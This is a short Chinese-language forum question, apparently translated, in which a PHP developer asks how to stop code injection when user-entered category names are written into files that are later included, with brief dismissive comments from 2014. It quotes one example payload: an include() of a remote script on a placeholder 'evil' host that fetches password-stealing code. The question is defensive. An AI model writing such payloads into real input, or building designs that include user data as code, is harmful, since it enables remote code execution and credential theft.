用戶在mysql中寫入類別(name
,url
)。Php。用戶可以在文件中寫入數據,並且包含文件
在每次寫入/更改name
和url
時,我打算在服務器上寫入txt或php文件。針對每個頁面重新加載而不是連接到mysql,只是包含txt或php文件。
現在我想象一種情況。例如,用戶作爲name
類別寫東西include("http://www.evil/get-passwords.php");
因此,在txt或php文件中,我可能有這樣的代碼,當在PHP中包含的代碼將執行?
如何防止這種情況?只允許某些字符用於某個類別的名稱?
1)沒有必要不連接到數據庫。數據庫連接的硬件要求很少且可以忽略。 – David162795 2014-11-06 10:10:28
2)如果你仍然想,不管怎樣,看看觸發器,以及如何在mysql中選擇outfile。 – David162795 2014-11-06 10:11:52
3)如何讀取PHP中的數據,而不是被想要黑客攻擊?學習PHP基礎知識。 – David162795 2014-11-06 10:12:57